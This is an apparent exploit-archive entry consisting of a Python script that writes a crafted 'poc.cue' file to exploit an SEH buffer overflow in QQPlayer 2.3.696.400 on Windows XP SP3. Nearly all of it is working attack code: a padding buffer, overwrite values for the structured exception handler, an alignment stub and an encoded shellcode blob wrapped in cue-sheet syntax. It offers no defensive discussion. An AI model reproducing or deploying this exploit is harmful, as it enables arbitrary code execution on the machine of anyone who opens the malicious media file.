QQPlayer – ‘.cue’ File Buffer Overflow
#!/usr/bin/env python ################################################################# # # Title: QQPlayer cue File Buffer Overflow Exploit # Author: Lufeng Li of Neusoft Corporation # Vendor: www.qq.com # Platform: Windows XPSP3 Chinese Simplified # Tested: QQPlayer 2.3.696.400 # Vulnerable: QQPlayer<=2.3.696.400p1 # ################################################################# # Code : head = '''FILE "''' junk = "A" * 780 nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" adjust="\x32\x42\x61\x33\xca\x83\xc0\x10" shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o" "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41" "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK" "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01") junk_="R"*8000 foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08" payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot fobj = open("poc.cue","w") fobj.write(payload) fobj.close() |